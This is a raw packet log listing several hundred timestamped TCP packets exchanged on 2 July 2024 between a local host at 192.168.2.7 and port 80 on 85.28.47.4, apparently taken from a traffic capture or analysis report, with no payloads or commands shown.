Jul 2, 2024 12:21:03.524104118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524183989 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524215937 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524260998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524271965 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524282932 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524293900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524302959 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524306059 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524308920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524328947 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524354935 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524528980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524542093 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524560928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524568081 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524571896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524585009 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524595976 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524600983 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524617910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524642944 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524687052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524698973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524709940 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524719954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524723053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524736881 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524746895 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524755001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524763107 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524775028 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524801970 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524869919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524882078 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524904966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524930954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524935961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524951935 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.524975061 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.524987936 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.600029945 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.609272957 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781279087 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781295061 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781308889 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781326056 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781358957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781390905 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781400919 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781411886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781421900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781430006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781435013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781452894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781475067 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781478882 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781512022 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781526089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781560898 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781599998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781613111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781624079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781635046 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781641960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781673908 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781735897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781747103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781757116 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781768084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781774044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781779051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781788111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781806946 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781825066 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.781958103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781969070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781984091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781995058 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.781997919 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782023907 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782033920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782078028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782088041 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782098055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782109022 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782110929 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782119036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782124043 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782147884 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782171965 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782193899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782231092 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782335997 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782346964 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782356024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782366037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782366037 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782376051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782386065 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782390118 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782397032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782407045 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782408953 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782418013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782430887 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782444954 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782459021 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782630920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782641888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782696962 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782696962 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782774925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782785892 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782795906 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782805920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782808065 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782819033 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782821894 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782824993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782826900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782836914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782847881 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.782857895 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.782896042 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783078909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783090115 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783106089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783116102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783119917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783127069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783137083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783149004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783158064 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783158064 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783170938 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783174992 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783180952 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783190966 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783195019 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783227921 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783447981 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783458948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783469915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783488989 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783512115 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783591986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783602953 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783612967 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783622980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783632040 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783633947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783643961 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783653975 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783663988 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783683062 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783684969 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783693075 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783703089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783713102 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783715010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783725023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783739090 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783744097 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.783744097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783746004 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.783781052 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784147024 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784157991 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784168005 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784178972 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784204960 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784252882 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784287930 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784298897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784310102 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784321070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784327030 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784344912 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784378052 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784415960 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784426928 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784435987 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784446955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784456968 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784459114 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784466982 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784477949 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784496069 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784497023 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784509897 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784518957 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784521103 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784532070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784533978 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784562111 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784588099 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784924030 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784934998 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784945011 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784955025 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784961939 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784967899 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784977913 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784982920 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.784989119 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.784998894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785024881 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.785048962 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.785053015 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785063028 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785073042 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785083055 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785084963 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.785093069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785104036 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785104036 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.785114050 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785125017 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785135031 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785136938 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.785145044 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785151005 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.785154104 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785165071 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.785187006 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.785207033 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.870429993 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870466948 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870486975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.870496035 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870508909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870515108 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.870537996 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.870549917 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.870621920 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870637894 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870642900 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870646954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870652914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870676994 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.870716095 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.870748043 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870759010 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870793104 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.870801926 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870812893 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870825052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.870840073 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.870868921 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.870989084 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871000051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871011019 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871021986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871031046 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871032000 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871068001 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871232986 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871243954 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871254921 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871265888 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871275902 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871275902 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871285915 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871294975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871296883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871306896 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871316910 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871316910 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871329069 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871335030 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871340990 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871357918 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871381044 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871507883 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871568918 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871572971 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871579885 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871591091 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871603966 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871613026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871633053 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871762037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871772051 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871783018 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871793032 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871803999 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871803999 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871814013 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871824026 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871824980 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871835947 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871846914 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.871855974 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871870041 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.871891975 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872076988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872087955 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872097969 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872108936 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872118950 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872122049 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872128963 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872139931 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872143984 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872149944 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872160912 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872170925 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872173071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872180939 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872198105 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872359037 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872379065 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872402906 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872405052 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872416973 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872425079 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872443914 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872472048 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872673988 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872685909 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872695923 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872713089 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872724056 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872730017 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872734070 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872744083 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872754097 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872755051 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872764111 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872770071 CEST	49699	80	192.168.2.7	85.28.47.4
Jul 2, 2024 12:21:03.872773886 CEST	80	49699	85.28.47.4	192.168.2.7
Jul 2, 2024 12:21:03.872785091 CEST	80	49699	85.28.47.4	192.168.2.7
